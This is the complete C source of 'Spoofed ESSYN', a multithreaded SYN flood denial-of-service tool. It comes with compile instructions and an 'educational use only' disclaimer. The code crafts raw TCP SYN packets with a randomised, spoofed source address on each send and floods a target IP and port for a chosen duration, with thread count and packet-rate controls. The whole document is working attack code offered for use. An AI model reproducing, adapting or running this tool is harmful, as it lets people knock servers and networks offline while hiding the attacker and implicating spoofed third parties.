Spoofed ESSYN

/*
 * All credits go to LiteSpeed
 * For educational use only.
 *[Instructions]: Save as essyn.c | compile with : gcc essyn.c -pthread -o essyn |
 * This is released under the GNU GPL License v3.0, and is not allowed to be used for commercial products
 */
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <pthread.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netdb.h>
#include <net/if.h>
#include <arpa/inet.h>

#define MAX_PACKET_SIZE 4096
#define PHI 0x9e3779b9

static unsigned long int Q[4096], c = 362436;
static unsigned int floodport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;

void init_rand(unsigned long int x)
{
        int i;
        Q[0] = x;
        Q[1] = x + PHI;
        Q[2] = x + PHI + PHI;
        for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
}
unsigned long int rand_cmwc(void)
{
        unsigned long long int t, a = 18782LL;
        static unsigned long int i = 4095;
        unsigned long int x, r = 0xfffffffe;
        i = (i + 1) & 4095;
        t = a * Q[i] + c;
        c = (t >> 32);
        x = t + c;
        if (x < c) {
                x++;
                c++;
        }
        return (Q[i] = r - x);
}
unsigned short csum (unsigned short *buf, int count)
{
        register unsigned long sum = 0;
        while( count > 1 ) { sum += *buf++; count -= 2; }
        if(count > 0) { sum += *(unsigned char *)buf; }
        while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
        return (unsigned short)(~sum);
}

unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {

        struct tcp_pseudo
        {
                unsigned long src_addr;
                unsigned long dst_addr;
                unsigned char zero;
                unsigned char proto;
                unsigned short length;
        } pseudohead;
        unsigned short total_len = iph->tot_len;
        pseudohead.src_addr=iph->saddr;
        pseudohead.dst_addr=iph->daddr;
        pseudohead.zero=0;
        pseudohead.proto=IPPROTO_TCP;
        pseudohead.length=htons(sizeof(struct tcphdr));
        int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
        unsigned short *tcp = malloc(totaltcp_len);
        memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
        memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
        unsigned short output = csum(tcp,totaltcp_len);
        free(tcp);
        return output;
}

void setup_ip_header(struct iphdr *iph)
{
        iph->ihl = 5;
        iph->version = 4;
        iph->tos = 0;
        iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
        iph->id = htonl(54321);
        iph->frag_off = 0;
        iph->ttl = MAXTTL;
        iph->protocol = 6;
        iph->check = 0;
        iph->saddr = inet_addr("192.168.3.100");
}

void setup_tcp_header(struct tcphdr *tcph)
{
        tcph->source = htons(5678);
        tcph->seq = rand();
        tcph->ack_seq = 0;
        tcph->res2 = 0;
        tcph->doff = 5;
        tcph->syn = 1;
        tcph->window = htonl(65535);
        tcph->check = 0;
        tcph->urg_ptr = 0;
}

void *flood(void *par1)
{
        char *td = (char *)par1;
        char datagram[MAX_PACKET_SIZE];
        struct iphdr *iph = (struct iphdr *)datagram;
        struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);

        struct sockaddr_in sin;
        sin.sin_family = AF_INET;
        sin.sin_port = htons(floodport);
        sin.sin_addr.s_addr = inet_addr(td);

        int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
        if(s < 0){
                fprintf(stderr, "Could not open raw socket.\n");
                exit(-1);
        }
        memset(datagram, 0, MAX_PACKET_SIZE);
        setup_ip_header(iph);
        setup_tcp_header(tcph);

        tcph->dest = htons(floodport);

        iph->daddr = sin.sin_addr.s_addr;
        iph->check = csum ((unsigned short *) datagram, iph->tot_len);

        int tmp = 1;
        const int *val = &tmp;
        if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
                fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
                exit(-1);
        }

        init_rand(time(NULL));
        register unsigned int i;
        i = 0;
        while(1){
                sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

                iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
                iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
                iph->check = csum ((unsigned short *) datagram, iph->tot_len);
                tcph->seq = rand_cmwc() & 0xFFFF;
                tcph->source = htons(rand_cmwc() & 0xFFFF);
                tcph->check = 0;
                tcph->check = tcpcsum(iph, tcph);

                pps++;
                if(i >= limiter)
                {
                        i = 0;
                        usleep(sleeptime);
                }
                i++;
        }
}
int main(int argc, char *argv[ ])
{
        if(argc < 6){
                fprintf(stderr, "Invalid parameters!\n");
                fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
                exit(-1);
        }

        fprintf(stdout, "Setting up Sockets...\n");

        int num_threads = atoi(argv[3]);
        floodport = atoi(argv[2]);
        int maxpps = atoi(argv[4]);
        limiter = 0;
        pps = 0;
        pthread_t thread[num_threads];

        int multiplier = 20;

        int i;
        for(i = 0;i<num_threads;i++){
                pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
        }
        fprintf(stdout, "Starting Flood...\n");
        for(i = 0;i<(atoi(argv[5])*multiplier);i++)
        {
                usleep((1000/multiplier)*1000);
                if((pps*multiplier) > maxpps)
                {
                        if(1 > limiter)
                        {
                                sleeptime+=100;
                        } else {
                                limiter--;
                        }
                } else {
                        limiter++;
                        if(sleeptime > 25)
                        {
                                sleeptime-=25;
                        } else {
                                sleeptime = 0;
                        }
                }
                pps = 0;
        }

        return 0;
}